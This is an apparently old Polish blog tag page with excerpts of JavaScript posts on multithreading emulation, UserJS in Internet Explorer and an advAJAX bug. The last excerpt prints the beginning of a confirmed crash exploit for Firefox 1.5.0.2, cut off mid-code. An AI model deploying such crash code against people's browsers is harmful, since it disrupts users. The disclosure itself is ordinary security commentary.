#JavaScript

wszystkie notatki oznaczone etykietą "JavaScript"

Thread.js

Zgodnie z zapowiedziami, kontynuacja tematu z ostatniej notki, w której przedstawiałem sposoby umożliwiające w pewnym stopniu na emulacje środowiska wielowątkowego w JS. Teraz, jak obiecałem, nadszedł czas na przedstawienie mojej implementacji, prostej biblioteki umożliwiającej w bardzo prosty sposób emulować wielowątkowość. Wprowadzenie Wspominałem w poprzedniej notatce, że sam problem zawieszania się i blokowania przeglądarki, przez długo wykonywujący się kod JS mnie za bardzo nie dotyczył - dopóki sam nie musiałem rozwiązać tego problemu.

Czytaj dalej

Wielowątkowość w JavaScript

JavaScript nie posiada wielowątkowości, we wszystkich przeglądarkach (z wyjątkiem Chrome), kod JS wykonywany jest w jednym wątku. Niejeden webdeveloepr “naciął się” na zamrożenie przeglądarki (lub ostrzeżenie w Firefoksie) w czasie wykonywania intensywnego kodu zajmującego zasoby. W takich wypadkach JS blokuje przeglądarkę, podobnie aktualizacje interfejsu użytkownika i zawartość strony, do czasu zakończenia wykonywania bieżącej operacji, co można w prosty sposób doświadczyć, poprzez prostą konstrukcję nieskończonej pętli (symulującej ciężkie obliczenia): while (true) Taką “ciężką” operacją może być przeliczenie dużej ilości danych, lub chociażby długotrwałe operacje na drzewie DOM (np.

Czytaj dalej

UserJS w IE

Tak to prawda, Internet Explorer także posiada rozszerzenie (a raczej 2 3 rozszerzenia) do obsługi skryptów UserJS. Sam się dziś zdziwiłem przeglądając swoje RSS-y ;) Czym jest UserJS? Jak nazwa może wskazywać, są to skrypty użytkownika napisane w języku JavaScript. W łatwy sposób pozwalają zmieniać wygląd lub działanie stron internetowych. Tę funkcjonalność w standardzie posiada tylko Opera. Firefox obsługuje te skrypty poprzez rozszerzenie Greasemonkey. Podobnie jak Internet Explorer, o czym mowa w tej notce.

Czytaj dalej

advAJAX, IE i "a"

Dziś miałem nie małe jazdy z powodu pewnego denerwującego błędu, który nagle zaczął mnie ostro “molestować”. I to tylko pod nieszczęsnym IE, w kodzie wykorzystującym obiekt advAJAX (najlepsza polska biblioteka wspomagająca obsługę obiektu XMLHttpRequest i ułatwiająca wykonywanie zapytań AJAX). Wszystko ładnie i pięknie działało, aż do pewnego momentu, kiedy to pojawił się ów nieszczęsny problem. Nagle, gdy w jakiejś funkcji JavaScript próbowałem odwoływać się do obiektu advAJAX-a to IE zwracał mi taki oto błąd:

Czytaj dalej

Groźny błąd w Firefoksie

Znaleziono groźny bug w tej “wspaniałej” przeglądarce. Pojawił się exploit wysypujący najnowszego Firefoksa (1.5.0.2) :) Na informacje o tym błędzie natknąłem się w notce Piotra Koniecznego. Przetestowałem i potwierdzam działanie exploita, a poniżej znajduje się ten magiczny kodzik wyprawiający cuda. <textarea cols="0" rows="0" id="x_OtherInfo" name="x_OtherInfo"> </textarea> <script> var textarea = document.getElementsByName("x_OtherInfo"); textarea=textarea.item(0); var htmlarea = document.createElement("div"); htmlarea.className = "htmlarea"; textarea.parentNode.insertBefore(htmlarea, textarea); var iframe = document.createElement("iframe"); htmlarea.appendChild(iframe); var doc = iframe.contentWindow.document; doc.

Czytaj dalej